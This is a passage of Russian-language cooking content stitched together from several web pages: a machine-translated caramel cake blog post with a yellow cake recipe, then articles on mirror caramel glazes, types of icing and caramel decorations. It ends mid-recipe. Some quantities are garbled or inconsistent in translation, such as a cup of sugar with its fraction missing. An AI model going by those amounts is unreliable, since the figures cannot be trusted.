    1. Смешайте яичные белки и сахар в чистой и жаропрочной посуде (желательно из нержавеющей стали или стекла). Поставьте миску на кастрюлю с кипящей водой. Чаша должна плотно прилегать, но вода не должна касаться миски.
    2. Постоянно взбивайте венчиком сахар и яйца, пока смесь не нагреется до 65 ° C (около 140–150 ° F).Если у вас нет сахарного термометра, просто разотрите смесь между пальцами. Если сахар растаял и смесь горячая на ощупь, значит, она готова.
    3. Снимите миску с огня и взбейте в миксере или электрическом миксере, пока она не станет белой, пушистой и остынет. Этот шаг может занять около 5-10 минут.
    4. Когда миска станет прохладной на ощупь, начните добавлять масло по частям. Не волнуйтесь, если смесь выглядит свернувшейся или жидкой, просто продолжайте взбивать, пока она не станет однородной (НЕ выбрасывайте ее в мусорное ведро!)! Добавьте карамель и взбивайте до однородной массы.
    Сборка
    1. Если торты закруглены сверху, выровняйте их зубчатым ножом. Разделите оба коржа пополам острым зазубренным ножом (у вас получится четыре более тонких слоя). Первый слой выложить на доску для торта или подставку для торта. Первый слой намазать сливочным кремом. Добавьте следующий слой и повторяйте, пока не израсходуете все четыре слоя.
    2. Нанесите тонкий слой сливочного крема по всему пирогу (это слой крошки, чтобы удерживать все крошки на месте) с помощью смещенного шпателя.Поместите торт в холодильник примерно на 10 минут или пока слой крошки не затвердеет (оставьте миску с глазурью при комнатной температуре).
    3. Нанесите оставшийся сливочный крем на торт, пока он не станет однородным. Для получения абсолютно ровной и гладкой поверхности окуните смещенный шпатель в теплую воду и сушите его между каждым проходом. Работает как шарм!
    Хрустящий карамельный попкорн
    1. Разогрейте духовку до 150 ° C (300 ° F).
    2. Приготовьте попкорн в соответствии с инструкциями на упаковке или приготовьте ядра попкорна в кастрюле с крышкой.
    3. Поместите половину попкорна и карамель (если карамель слишком густая, нагрейте ее в течение нескольких секунд в микроволновой печи) в миску и перемешивайте, пока попкорн не покроется карамелью. Выложите карамельный попкорн в один слой на противне, застеленном бумагой для выпечки.
    4. Выпекайте попкорн 15 минут, помешивая пару раз во время выпекания. Вынуть из духовки и дать полностью остыть.
    5. Положите хрустящий попкорн на торт и полейте оставшимся карамельным соусом.
    .

    Идеальный карамельный торт

    Этот карамельный торт в южном стиле просто мечтательный. Лучший желтый торт, который вы когда-либо пробовали, с начинкой и покрытый кремовой, не слишком сладкой карамельной глазурью, посыпанный морской солью и посыпанный (по желанию) соленым карамельным попкорном для неожиданного хруста!

    * Обратите внимание, что некоторые изображения тортов в этом посте сильно отличаются друг от друга. Это потому, что я испек и сфотографировал торт 3 раза в 3 разных случаях.Все они сделаны по одному и тому же рецепту, но в разных формах. В первый раз я покрыл торт карамельным попкорном (см. 2-е изображение), но потом мне стало плохо, что блестящая поверхность торта была скрыта, я не очень доволен сторонами торта, и я также хотел показать вам вариант без карамельного попкорна, если вы предпочитаете, так что он больше похож на классический карамельный торт. Во второй раз (изображение ниже) я поигрался с завитком и лучше обработал стороны.Хотя это было очень красиво, я должен признаться, что это было очень сложно и разочаровывающе. Это потому, что очень сложно пытаться манипулировать карамелью, которая хочет застыть, и она также рискует отделиться (я не рекомендую проходить через такое же испытание). По этой причине я сделал еще одну фотосессию с карамелью, которую просто облили и с которой не играли (см. 3-е и 4-е изображения), что, на мой взгляд, является правильным решением. Итак, вот оно… 3 взгляда; выбор за вами 🙂

    Помните миллионы дней назад, когда я опубликовал свой последний рецепт — соленый карамельный попкорн без выпечки?

    Ага? Ну, этот пост с тортом был , предполагалось, что будет продолжением.И «умный» план состоял в том, чтобы опубликовать его через несколько дней после публикации, потому что они вращаются вокруг одной и той же идеи, и это должно было иметь смысл!

    Но, как видите, я отличный планировщик 🙁

    Я испек торт (3 раза !!!), сфотографировал (3 раза !!!) и взял все материалы с собой на летние каникулы, думая, что я суперорганизованный, с твердой решимостью, что я отредактирую их и скоро закончу за вас.

    Пфффф … кого я шучу? Работа в отпуске? Да правильно!

    Потом вернулась к школьной неделе ( о, как я люблю тебяэээ) , которая меня очень заняла… в лучшем смысле, я должен признать.

    Но! У меня были самые лучшие намерения, поэтому я знаю, что ты найдешь в своем сердце простить меня за то, что я утаил от тебя этот мечтательный торт на из .

    Видите этот соленый попкорн с карамелью из последнего поста, сложенного сверху? Теперь имеет смысл? Вы видите, куда я шел?

    Спасибо!

    Уважаемые дамы и господа, у нас есть ПРОДОЛЖЕНИЕ!

    Серьезно, ребята, этот карамельный торт — триумф !

    Вы знаете, как долго я искал идеальный карамельный торт в южном стиле? Я сбился с пути, но его ОЧЕНЬ МНОГО!

    Но вот этот тот наконец положил конец моим поискам.Мне больше не нужно тестировать рецепт карамельного торта, потому что этот ИДЕАЛЬНЫЙ!

    Три идеально влажных и нежных желтых коржа, заполненных и покрытых не слишком сладкой карамельной глазурью, чтобы она была достаточно мягкой на вкус, но достаточно прочной, чтобы не скатиться с торта. Небольшая посыпка морской солью щекочет рот, а добавка попкорна с соленой карамелью добавляет приятный текстурный контраст. Я влюблен.

    Идеальный карамельный торт должен начинаться с идеальных желтых коржей, которые нелегко найти.

    Используемые здесь желтые коржи тают во рту. mmmmmmmmmoist, супер нежный с очень мелкой крошкой. Невооруженным глазом он может показаться плотным, но как только он коснется языка, он станет таким ПУСТОЙ! Это САМЫЙ ЛУЧШИЙ желтый торт, который я когда-либо делал или ела, и МНОГОЕ приготовила! Вы называете рецепт… Я вам гарантирую, что пробовала.

    Я был вроде как в этой миссии гурмана, чтобы найти лучший рецепт желтого торта, поэтому я был без ума от экспериментов. Годами! Пока я не встретил этого в блоге Мела.Она разработала его после того, как проверила его более 16 раз, чтобы мы могли насладиться плодами ее труда.

    Мел … если вы случайно читаете это … БОЛЬШОЙ Дайте пять и спасибо! Действительно очень.

    Чтобы разобраться в этом желтом торте, я настоятельно рекомендую зайти в ее блог, чтобы прочитать все о деталях. Очень интересно.

    Теперь невозможно получить идеальный карамельный торт без идеальной карамельной глазури. Правильно?

    Он должен быть безошибочно карамельным на вкус… явно , но, что не менее важно, он не должен быть таким жидким, как карамельный соус.Глазурь должна заполнять слои торта, не заставляя их скользить, и должна прилипать к внешней стороне торта, как только она застынет. Глазурь также должна быть достаточно мягкой, чтобы кусаться, как шоколадный ганаш, не прилипая к зубам.

    Многие рецепты, которые я пробовал, предусматривают добавление тонны сахарной пудры в карамель или соуса ириски, чтобы сделать его густым. Это на самом деле приглушает карамельный вкус и вызывает желание выпадать зубы. Возможно, я сладкоежка, но я ни в коем случае не поклонник излишне сладкой глазури.

    Другие рецепты, которые являются аутентичными для карамельной глазури южной версии, совершенно сладкие, но требуют от 1,5 до 2 часов приготовления на плите с периодическим перемешиванием. Да! Вы правильно расслышали … от 1,5 до 2 часов !!!! Должен признать, что в прошлом я настолько отчаянно нуждался в хорошей карамельной глазури, что мне просто нужно было ее попробовать. Если честно, у меня вообще не вышло. Возможно, я недостаточно опытен, но я не планирую посвящать еще два часа своей жизни попыткам в ближайшее время все исправить.

    А зачем мне, когда эта версия работает всего 15 минут МАКС на плите и имеет райский вкус?

    Сливочный, густой, блестящий, мягкий и совершенно сладкий.

    Я адаптировал его из блога Lottie + Doof, только готовил немного дольше, чтобы получить более густую консистенцию.

    Чтобы приготовить карамельный торт, вы начнете с взбивания рецепта лучшего желтого торта, разделите его на 3 (8-дюймовые формы) и испеките. Вы можете заметить небольшую усадку сторон торта через несколько минут после того, как они выйдут из духовки, но не беспокойтесь, они все равно будут вкусными и восхитительными.Переверните их на решетке и дайте им полностью остыть.

    Пока коржи остывают в последние несколько минут, начните делать карамельную глазурь.

    Светло-коричневый сахар, кукурузный сироп, соль и жирные сливки помещаются в БОЛЬШУЮ кастрюлю. Не экономьте на размере кастрюли, иначе глазурь может разлиться повсюду.

    Из-за большого соотношения сливок к сахару (отсюда и не слишком сладкая глазурь) смесь сначала будет выглядеть как бледный суп с бежевым супом.

    Доведите его до кипения на среднем огне, постоянно помешивая, пока смесь не уменьшится, не загустеет, не превратится в темно-янтарно-карамельный цвет и зафиксирует температуру от 230F до 234F на термометре (также известный как стадия мягкого шарика). Теперь пищевой термометр сделает эту глазурь легкой. Однако, если у вас нет (серьезно подумайте о покупке, если вы часто готовите и запекаете) , но не волнуйтесь, я все равно покажу вам, как узнать, когда вы достигли нужной температуры.

    Это для моих друзей, не владеющих термометром: Как только глазурь начнет показывать признаки того, что она готова, бросьте чайную ложку глазури в ледяную воду. Дайте ему остыть в течение нескольких секунд, затем почувствуйте это. Глазурь должна легко образовывать шарик в холодной воде, но после удаления станет плоской. Карамель должна быть мягкой, но не жидкой; вроде как слегка расплавленный кусок сыра моцарелла. Видишь, как я его держу, а он тянется, как сыр на горячей пицце? Это именно то, чего вы хотите.

    После достижения нужной температуры больше не помешивайте.

    Дать немного остыть; всего около 5 минут, размешайте, чтобы снова смешать (при необходимости), затем начните заливать слои. Важно, чтобы глазурь оставалась очень теплой, чтобы она оставалась текучей, но не очень горячей, чтобы она растекалась по всей поверхности и создавала большой беспорядок.

    Дайте ему стечь со всех сторон, и я советую вам оставить его в покое и позволить ему естественным образом стечь по торту.Ничего страшного, если некоторые участки по бокам не прикрыты. Прямо сейчас в моде голые торты. Попытка поиграть с карамельной глазурью, которая хочет застыть, только заставит вас потерять рассудок.

    Я почти сделал.

    Видите? Довольно верно? Боковые стороны безупречно дефектные, а верх — как поверхность рояля.

    Кто хочет это испортить?

    Очевидно, кто-то из моих знакомых останется безымянным…

    Swirl на свой страх и риск … вы были предупреждены.

    С другой стороны, если вы последуете моему совету и оставите все в покое, вы будете вознаграждены этими идеально чистыми разрезами.

    Соль морская или нет. Карамельный попкорн или нет. Этот торт просто восхитительный!

    Хехехеее … просто хотел показать вам этот шатко выглядящий кусок, который провел ночь на моей кухне, похожей на сауну. Август в Египте — тяжелая работа, ребята.

    Ну, по крайней мере, теперь вы знаете, что это наихудший сценарий.

    Вкусная катастрофа, если я так говорю.

    Время подготовки 1 час

    Время приготовления 40 минут

    Дополнительное время два часа

    Общее время 3 часа 40 минут

    Состав

    За лучший желтый торт:
    • 2¼ чашки муки для выпечки, слегка отмеренной (9 унций, 255 г) * (см. Примечание для замены)
    • 1½ чайных ложки разрыхлителя
    • ¼ чайной ложки пищевой соды *
    • ½ чайной ложки соли
    • ½ стакана молока (1% или выше) комнатной температуры
    • ½ стакана сметаны (легкой или обычной) комнатной температуры
    • 1 стакан несоленого сливочного масла (8 унций, 250 г), размягченного до комнатной температуры
    • 1 чашки сахарного песка (13 унций, 368 г)
    • 1½ столовой ложки ванили
    • 3 больших яйца, комнатной температуры
    • 2 больших яичных желтка комнатной температуры
    Для карамельной глазури:
    • 3 стакана жирных сливок
    • 1½ стакана светло-коричневого сахара (10½ унций, 300 г)
    • 3 столовые ложки светлого кукурузного сиропа
    • ¼ чайная ложка соли
    • 2 чайные ложки ванильного экстракта
    Для гарнира:

    Инструкции

    Чтобы приготовить желтый торт:
    1. Установите решетку духовки в среднее положение и разогрейте духовку до 350F / 180C.
    2. Приготовьте 3 формы для выпечки (8 дюймов), сбрызнув дно антипригарным кулинарным спреем, затем выровняйте их кругами из пергамента. Распылите на пергамент и стенки сковороды. (В качестве альтернативы вы можете смазать сковороды и пергамент маслом, а пыль — мукой)
    3. В средней миске просейте муку, разрыхлитель, пищевую соду и соль через мелкоячеистое ситечко, взбейте венчиком до однородности. объединить; отложить. (Не поддавайтесь искушению пропустить этап просеивания, чтобы получить максимальную легкость и пушистость в готовом кексе).
    4. В мерной чашке для жидкости или небольшой миске взбейте сметану и молоко; отложить.
    5. В чаше электрического стационарного миксера, оснащенного лопастной насадкой (или используя ручной электрический миксер и большую чашу), взбейте масло на средней скорости до бледного цвета и пышности, от 1 до 2 минут).
    6. Добавьте сахарный песок и взбивайте до осветления текстуры и цвета 4–5 минут.
    7. Добавьте яйца и яичные желтки по одному, хорошо взбивая между каждым добавлением, соскребая со стенок миски по мере необходимости.. Добавьте ваниль.
    8. На самой низкой скорости добавьте ⅓ муки и взбивайте почти до однородности. Добавьте половину смеси молока и сметаны и перемешайте до однородной массы. Осторожно добавьте еще мучной смеси, а затем оставшуюся половину смеси молока и сметаны; взбивать, пока почти не смешано. В конце добавьте последние мучной смеси и перемешайте до однородности. (При необходимости используйте резиновую лопатку, чтобы поскрести стенки и дно чаши). Хорошо перемешайте тесто, чтобы убедиться, что все хорошо перемешано.
    9. Равномерно распределите тесто между подготовленными формами, разгладив поверхность шпателем.
    10. Выпекайте в течение 20–25 минут, пока края не станут слегка золотистыми, центр начнет возвращаться на ощупь, а зубочистка, вставленная в центр, выйдет чистой или с прикрепленными к ней несколькими приготовленными влажными крошками. НЕ перепекайте, чтобы торт не высох. Не поддавайтесь желанию открывать и закрывать духовку, чтобы проверить состояние торта во время выпечки, поскольку это может привести к падению центра торта и никогда не восстановиться.
    11. Дайте пирогам постоять в формах примерно на 10 минут, затем переверните на решетку, снимите пергаментную бумагу и дайте полностью остыть перед начинкой и глазурью.
    12. Когда коржи почти остынут, приступайте к приготовлению карамельной глазури.
    Для приготовления карамельной глазури:
    1. В большой кастрюле с толстым дном смешайте сливки, коричневый сахар, кукурузный сироп и соль. (Обязательно используйте кастрюлю большего размера, чем вы думаете, она вам понадобится, потому что смесь резко расширяется при кипении).
    2. Поставьте кастрюлю на плиту, настроенную на средний огонь. Доведите смесь до кипения, постоянно помешивая термостойкой лопаткой, пока сахар не растворится и все хорошо не перемешается. Сначала смесь будет выглядеть очень бледной и водянистой, так что не пугайтесь.
    3. Если смесь плохо кипит на среднем огне, увеличьте до средне-сильного. Продолжайте кипятить смесь, постоянно помешивая, пока глазурь не загустеет и не потемнеет до темно-янтарно-карамельного цвета и не покажет на термометре 230–234 ° F (110 ° C), примерно от 12 до 14 минут. Это известно как стадия софтбола. Добавьте ваниль, если используете. Прекратите перемешивание, когда карамель достигнет нужной температуры. Чем меньше вы будете обращаться с глазурью после того, как она приготовлена, тем лучше, иначе она рискует получить жирную пленку.
    4. Если у вас нет пищевого термометра, держите поблизости чашку с ледяной водой. Как только глазурь начнет показывать признаки того, что она готова, например, выглядит густой и карамельного цвета, бросьте чайную ложку глазури в холодную воду.Дайте ему остыть в течение нескольких секунд, затем почувствуйте это. Глазурь должна легко образовывать шарик в холодной воде, но после удаления станет плоской. Карамель должна быть мягкой, но не жидкой; вроде как слегка расплавленный кусок сыра моцарелла. Если это не так, дайте смеси закипеть еще несколько минут, а затем повторите попытку.
    5. Дайте глазури немного остыть примерно за 5 минут, прежде чем использовать ее для заливки и глазури для торта. Важно, чтобы глазурь оставалась очень теплой, чтобы она оставалась текучей, но не очень горячей, чтобы она растекалась по всей поверхности и создавала большой беспорядок.
    Для сборки торта:
    1. Поместите один слой торта на сервировочное блюдо или подставку для торта, дайте глазури еще раз перемешать (при необходимости), затем налейте примерно ¾ стакана глазури поверх него. Вы должны налить столько, чтобы покрыть поверхность торта. Используйте смещающий шпатель, чтобы распределить глазурь по сторонам.
    2. Сверху выложите еще один слой торта и налейте еще ¾ стакана глазури, распределив ее по всей поверхности.
    3. В конце нанесите последний слой торта, затем залейте оставшуюся глазурь поверх торта, позволяя излишкам глазури стечь по бокам. Я рекомендую оставить глазурь стекать и застыть самостоятельно, НЕ прикасаясь к ней, оставляя часть сторон обнаженной и естественной, вместо того, чтобы пытаться покрыть стороны шпателем. Поверхность останется супер гладкой. Я обнаружил, что перемещение глазури с помощью шпателя может привести к ее разрыву и отделению, образуя смазывающую пленку. Если вы попытаетесь полностью закрыть стороны и закрутить верх, как я сделал на некоторых фотографиях, вы должны быть предупреждены, что это может быть очень неприятный процесс, потому что закрепление карамели очень трудно контролировать.
    4. Посыпьте поверхность торта (или только край) хлопьями морской соли. Если хотите, посыпьте попкорном с соленой карамелью.

    Примечания к рецепту

    1. Если у вас нет муки для выпечки (чего я никогда не делаю) , используйте 210 граммов (2 стакана) универсальной муки и 45 граммов (1/4 стакана) кукурузного крахмала (кукурузный крахмал) и просейте их вместе. . Затем добавьте остальные сухие ингредиенты и еще раз просейте.
    2. По словам создателя рецепта желтого торта Мэл, некоторые из ее читателей отметили, что «хотя вкус торта восхитителен, он тонет посередине или печется плоско.«Хотя у меня лично не было проблем с утоплением торта, она рекомендует, если вы беспокоитесь о проседании слоев, увеличьте количество пищевой соды до ½ или чайной ложки. Я на самом деле пробовала это и не заметила разницы в результате, но решать вам .
    3. Ключом к успеху этого рецепта является выбор времени. Не поддавайтесь соблазну приготовить глазурь заранее, потому что она плохо разогревается. Начинайте готовить глазурь только после того, как коржи выпекаются и почти полностью остынут.

    The Best Yellow Cake адаптировано из Mel’s Kitchen Cafe

    Caramel Icing в основном адаптировано из Lottie + Doof

    Измерения Примечание: Все рецепты на этом сайте были разработаны с использованием измерений веса.Хотя измерения объема в США включены для вашего удобства, настоятельно рекомендуется взвешивать ингредиенты с помощью кухонных весов, чтобы получить наилучшие возможные результаты. Доказано, что из-за деликатного характера выпечки кухонные весы дают более точные и стабильные результаты, чем мерные чашки. Наслаждайтесь!

    .

    Зеркальная карамельная глазурь — два варианта

    Карамельная и зеркальная карамельно-шоколадная глазурь прекрасно подходят для покрытия карамельных тортов и пирожных. Даю два рецепта приготовления, выбирайте тот, который больше понравится.

    Оба варианта довольно простые, один более бюджетный и без инвертного сиропа, а второй очень похож на классический рецепт зеркальной глазури.
    Итак,

    Рецепт карамельной глазури

    Ингредиенты:

    • 100 г сахара (4 ст.л.)
    • 7 г кукурузного крахмала (1 ч.л. с верхом)
    • 5 г желатина (1 ч.л.) + 30 мл воды
    • 100 г горячей (кипящей) воды
    • 85 г сливок 35%

    Замочите желатин. Залейте его 30 мл холодной воды, перемешайте и оставьте набухать.

    Как сделать карамель

    • Разогрейте кастрюльку с толстым дном, уменьшите нагрев и насыпьте равномерный тонкий слой сахара.
    • Просто ждите, когда он начнет плавится и, когда это произойдет, начните подсыпать сахар. Мешать не нужно, можно наклонять кастрюльку из стороны в сторону.
    • Если карамель начинает пригорать, передвиньте кастрюлю и подождите, пока оставшийся сахар растворится. Потом опять верните на плиту.
    • В расплавленный сахар очень аккуратно и постепенно начните вливать горячую воду, непрерывно помешивая. Если образовались небольшие кусочки карамели, мешайте и они разойдутся.
    • В холодных сливках разведите кукурузный крахмал и добавьте к карамельному сиропу.
    • Доведите до кипения, выключите нагрев и добавьте набухший желатин.
    • Все хорошо перемешайте.

    Карамель готова. Оптимальная температура использования 28°. Если нужно покрывайте сразу или поставьте в холодильник, пока она вам не будет нужна.

    Рецепт зеркальной карамельно-шоколадной глазури

    Ингредиенты:

    • 50 г воды
    • 70 г сгущенного молока
    • 100 г молочного шоколада
    • 100 г сахара
    • 100 г инвертного сиропа или сиропа глюкозы
    • 10 г желатина (1 ч.л.) +60 мл воды

    Замочите желатин, залив его водой. размешайте и оставьте набухать.

    В посуде смешайте молочный шоколад, сгущенное молоко и набухший желатин.

    Инвертный сироп (или сироп глюкозы) и воду смешайте в сотейнике и поставьте на плиту на маленький нагрев. Нужно чтобы смесь закипела, когда будет готова карамель.

    Приготовьте карамель, как описано в первом способе.

    В готовую карамель аккуратно влейте сироп с водой, непрерывно помешивая.

    Залейте горячим сиропом шоколад, молоко и желатин.

    Если хотите непрозрачную глазурь, добавьте белый пищевой краситель.

    Пробейте все блендером на низкой скорости до полного растворения.

    Глазурь готова. Температура использования — 32-35°.

    Лучше выдержать глазурь сутки в холодильнике, накрыв пищевой пленкой в контакт с поверхностью.

    Вот и все. Покрывайте свои тортики и пирожные.

    Видео — Как приготовить карамельную глазурь двумя способами


    Успехов в кулинарных экспериментах!

    Автор публикации

    1 Комментарии: 284Публикации: 953Регистрация: 18-05-2020

    Как сделать глазурь? — для торта в домашних условиях

    Сделать глазурь – это один из самых распространенных способов вкусно и красиво украсить выпечку. Можно воспользоваться и покупной глазурью, но лучше всего сделать её самостоятельно в домашних условиях. Это будет гораздо дешевле и полезнее, чем магазинная глазурь. Главное в этом деле точно знать, какую именно глазурь вы хотите приготовить. А её видов довольно много. Самые распространенные из них мы рассмотрим в нашей статье, а также познакомимся с самыми популярными рецептами приготовления глазури.

    Для начала давайте рассмотрим, какие виды глазури существуют на сегодняшний день:

    • шоколадная;
    • карамельная;
    • мармеладная;
    • сахарная;
    • молочная;
    • медовая.

    Каждый вид глазури по-своему хорош и подходит для разных целей. С помощью разных видов глазури вы сможете интересно и необычно оформить тортик, пряники, булочки и любую другую выпечку. Готовить такое вкусное украшение вовсе нетрудно. Главное – знать ингредиенты, которые нужно смешать, а также метод, которым это делается. Теперь, познакомившись с общим списком разновидностей глазури, давайте узнаем, как же правильно её приготовить.

    Шоколадная

    Разновидностей шоколадной глазури очень много. Она может быть как тёмная, так и светлая. Как матовая, так и блестящая. В данном случае мы рассмотрим классический вариант шоколадной глазури. Для того чтобы её сделать, вам понадобятся такие ингредиенты:

    • 100 граммов сахарной пудры,
    • 3 столовых ложки какао,
    • 5 столовых ложек молока,
    • 1.5 столовых ложки размягченного сливочного масла,
    • ванилин по желанию.

    Приступим: возьмите все сыпучие продукты и смешайте их вместе в одной миске, затем слегка разогрейте свежее молоко и постепенно добавляйте его в полученную смесь. Размешайте ингредиенты, добавьте сливочное масло и размешайте снова. Нужно добиться однородной консистенции. Но будьте внимательны: такая глазурь застывает очень быстро, поэтому делать её необходимо уже после того, как ваша выпечка готова и стоит рядом с вами, ожидая глазирования.

    Глазурь, сделанная по этому рецепту, получается очень вкусная и блестящая. Она ровным слоем покрывает вашу выпечку и придаёт ей некий шарм.

    Карамельная

    Карамельная глазурь, сделанная в домашних условиях своими руками, придаёт блюдам лёгкий карамельный привкус, а также покрывает поверхность выпечки красивым глянцевым слоем. Для того чтобы правильно сделать карамельную глазурь, вам необходимы такие ингредиенты:

    • 180 граммов быстрорастворимого сахара,
    • 150 граммов теплой воды,
    • 150 граммов сливок (жирность не менее 35%),
    • 10 граммов кукурузного крахмала,
    • 5 граммов листового желатина.

    Для начала возьмите сливки и просейте в них крахмал, хорошенько перемешав всё это, затем замочите желатин в холодной воде и дайте ему настояться. Теперь найдите у себя сковороду с толстым дном и разогрейте её на среднем огне, после чего засыпьте в неё необходимое количество сахара. Растапливайте его до тех пор, пока не получится жидкая коричневая масса. Помешивать и вмешиваться в процесс растапливания не рекомендуется. Если уж совсем не терпится – можете немного поворочать сковороду, но не трогайте карамель руками или столовыми приборами! Она должна растаять самостоятельно.

    В готовую карамель медленно и осторожно вливаем тёплую воду, перемешиваем всё это, и доводим до кипения, не переставая помешивать жидкость в процессе. Готовую карамельную массу осторожно вливайте в смесь сливок и крахмала, одновременно помешивая содержимое емкости кондитерским венчиком.

    Теперь можете добавлять в карамельную массу заранее замоченный желатин, который перед добавлением нужно хорошенько отжать. Перемешать хорошенько содержимое ёмкости и ваша глянцевая карамельная глазурь готова. Желательно накладывать её на идеально ровные поверхности, чтобы добиться ошеломляющего эффекта.

    Мармеладная

    Мармеладная глазурь сможет сделать любую вашу выпечку невероятно привлекательной и необычной, а также придать ей особый вкус. Для приготовления вам понадобится:

    • 12 мармеладных конфеток,
    • 4 столовых ложки сахара,
    • 50 граммов сливочного масла,
    • 2 столовых ложки сметаны.

    Мармеладные конфетки разрежьте на маленькие кусочки, затем найдите небольшую кастрюлю и отправьте туда ломтики мармелада. После этого добавьте туда же сметану с сахаром, а также размягченное сливочное масло. Перемешайте хорошенько и поставьте на средний огонь, чтобы мармелад начал таять. После закипания варить ещё около 15 минут, регулярно помешивая смесь, а когда глазурь загустеет – убирайте её с огня, дайте немного остыть и можете украшать ею свою выпечку.

    Сахарная

    У сахарной глазури существует много названий: белковая, белая, пряничная, глазурь для куличей, и так далее. Но, несмотря на большое количество названий, способ готовки у неё все равно один. И для того, чтобы самостоятельно сделать красивую сахарную глазурь в домашних условиях, вам понадобится нехитрый список ингредиентов:

    • один яичный белок,
    • полстакана сахара,
    • полстакана воды.

    Если вам нужно больше глазури – увеличьте количество ингредиентов.

    Выберете небольшую кастрюлю, в неё вылейте воду и насыпьте сахар, после чего поставьте на слабый огонь и помешивайте смесь, пока сахар полностью не растворится. После этого огонь сделайте больше и добейтесь полного испарения воды из кастрюли, чтобы получился тягучий сироп. Яичный белок хорошенько взбейте, и начинайте медленно вливать его в сахарную смесь, не забывая постоянно помешивать её. Полученную смесь взбейте ещё раз, и ваша сахарная глазурь готова.

    Молочная

    Молочная глазурь для торта делается зачастую из молочной шоколадки. Чтобы сделать молочную глазурь своими руками в домашних условиях, запаситесь такими ингредиентами:

    • 180 граммов молочного шоколада,
    • 150 миллилитров нежирных сливок.

    Шоколадку следует разломать на небольшие ломики, затем сложить их в кастрюлю и залить сверху сливками. Эту массу поставить на медленный огонь и регулярно помешивать. Варить до тех пор, пока шоколад не растает. После этого можете убирать кастрюлю с огня, немного остужать вашу глазурь и украшать ею тортик.

    Медовая

    Медовая глазурь – это ещё одна разновидность шоколадной глазури, только застывает она гораздо медленнее и имеет немного другой вкус. Для её приготовления вам нужны:

    • 3 столовых ложки мёда,
    • 2 столовых ложки сметаны,
    • 2 столовых ложки какао-порошка,
    • 30 граммов размягчённого сливочного масла.

    Сделать медовую глазурь очень просто. Для этого вам необходимо хорошенько перемешать все ингредиенты между собой, после чего отправить их в кастрюлю и поставить на средний огонь. Варить, помешивая, до закипания. После того как глазурь закипит, позвольте ей покипеть ещё несколько минут, после чего выключайте огонь, остужайте глазурь, и можете намазывать её на вашу выпечку.

    Фото галерея

    Украшения из карамели в домашних. Мастер-класс

    Украшение – финальная часть создания десерта. Это едва ли не самый сложный этап работы, объединяющий навыки кулинарного и художественного мастерства. Как всякую науку, начинать постигать его нужно с азов. Например, научиться глазировать торты. Один из самых популярных вариантов – карамельная глазурь, которая выглядит как самодостаточное украшение торта или служит базой для оформления сложной презентации десерта.

    Освоив технологию приготовления янтарной карамели, можно в домашних условиях создавать настоящие кондитерские шедевры.

    Карамельная глазурь: основы технологии

    Главный ингредиент карамельной глазури – сахар. В простых рецептах используют коричневый сахар. Продукт не требует обработки – окрашивание заливки происходит при растворении сахара в жидкости (молоко, сливки, вода).

    Обычный сахар песок для приготовления карамельной глазури плавят в посуде с толстым дном на чуть большем, чем медленный огне. Карамель делают либо исключительно из сахарного песка, либо с добавлением небольшого количества воды.

    Сахар высыпают в кастрюльку порциями, добавляя новые по мере плавления продукта. Главное в этом процессе – не перемешивать вязкую массу, чтобы не образовались твёрдые нерастворимые комки. Для равномерного плавления ёмкость разрешается лишь слегка шевелить и наклонять.

    Важно не пережечь сахар. Когда кристаллики расплавятся, масса приобретёт красивый тёмно-янтарный цвет, огонь под кастрюлькой немедленно выключают. Если момент упущен, карамель станет горькой.

    Для приготовления зеркальной карамельной глазури применяют кондитерский кукурузный сироп или глюкозу. Эти продукты можно купить или воспользоваться альтернативным вариантом, т. е. сварить инвертный сироп.

    Как сделать инвертный сироп:

    1. В кастрюлю с толстым дном влить 130 мл воды. Нагреть.

    2. Всыпать 300 г сахара. Размешать. Довести на малом огне до кипения.

    3. Добавить треть чайной ложки лимонной кислоты. Размешать.

    4. Варить 15–20 минут.

    Готовый инвертный сироп должен быть похож на густой жидкий мёд.

    Карамельная глазурь: простой рецепт без желатина

    Самый лёгкий в приготовлении вариант жидкой карамели для торта. Времени отнимает не более 20 минут, но глазурь получается удивительно нежной на вкус, с красивой глянцевой поверхностью и приятным ванильным ароматом.

    Ингредиенты:

    Сахар коричневый – ½ ст.;

    Сливки (больше 30%) – 3 ст. л.;

    Масло сливочное – 30 г;

    Пудра сахарная – 1 ст.;

    Ванилин – ¼ ч. л.

    Технология приготовления:

    1. В кастрюльке с толстым дном растапливают масло.

    2. Вливают сливки. Размешивают.

    3. В горячую жидкость всыпают сахар.

    4. Варят при медленном кипении 2 минуты. Кристаллы сахара должны раствориться, смесь слегка загустеть.

    5. Снимают глазурь с огня. Вмешивают ½ ст. сахарной пудры.

    6. Смесь слегка остужают. Добавляют оставшуюся часть пудры и ванилин.

    Готовую карамельную глазурь перед применением остужают до рабочей температуры.

    Карамельная глазурь: рецепт с кукурузным крахмалом

    Вкусная, удобная в работе, эластичная глазурь для украшения десертов. В рецепте указан листовой желатин, но его можно заменить обычным гранулированным или порошковым.

    Ингредиенты:

    Сахар обычный – 180 г;

    Сливки (33–35%) – 150 мл;

    Вода горячая кипячёная – 150 мл;

    Кукурузный крахмал – 10 г;

    Листовой кондитерский желатин – 5 г.

    Технология приготовления:

    1. В небольшом объёме холодной воды замачивают желатин.

    2. Крахмал просеивают. Смешивают с холодными сливками.

    3. Сахар частями всыпают в толстодонную кастрюлю (сковороду). Плавят на медленном огне до образования янтарно-коричневой карамели.

    4. В горячую карамель очень осторожно, постоянно размешивая, наливают кипячёную воду. Дают закипеть и проваривают, пока масса не станет однородной.

    5. Сливки с крахмалом немного нагревают. Тонкой струёй вливают в карамель, интенсивно помешивая лопаточкой.

    6. Эмульсию остужают немного. Добавляют набухший желатин. Размешивают.

    Готовую карамельную глазурь охлаждают и хранят в холодильнике. Перед применением подогревают до 27 градусов.

    Зеркальная карамельная глазурь: классический рецепт

    Необыкновенно красивое покрытие для тортов, не нуждающееся в дополнительном украшении. Зеркальная поверхность карамельной глазури в застывшем виде похожа на настоящий янтарь. В рецепте использован коричневый сахар, но можно заменить его обычным, расплавив, как в предыдущем варианте, на огне.

    Ингредиенты:

    Сахар коричневый – 250 г;

    Пудра сахарная – 500 г;

    Масло сливочное – 120 г;

    Молоко – 75 мл.

    Технология приготовления:

    1. Сливочное масло растапливают на среднем огне.

    2. Всыпают сахар. Перемешивают. Дожидаются закипания массы, убавляют огонь до минимума.

    3. Масло с сахаром кипятят 2 минуты. Вливают понемногу молоко, всё время помешивая смесь. Дожидаются момента кипения и снимают с огня.

    4. Молочно-масляную смесь чуть-чуть остужают. Всыпают частями сахарную пудру. Тщательно размешивают.

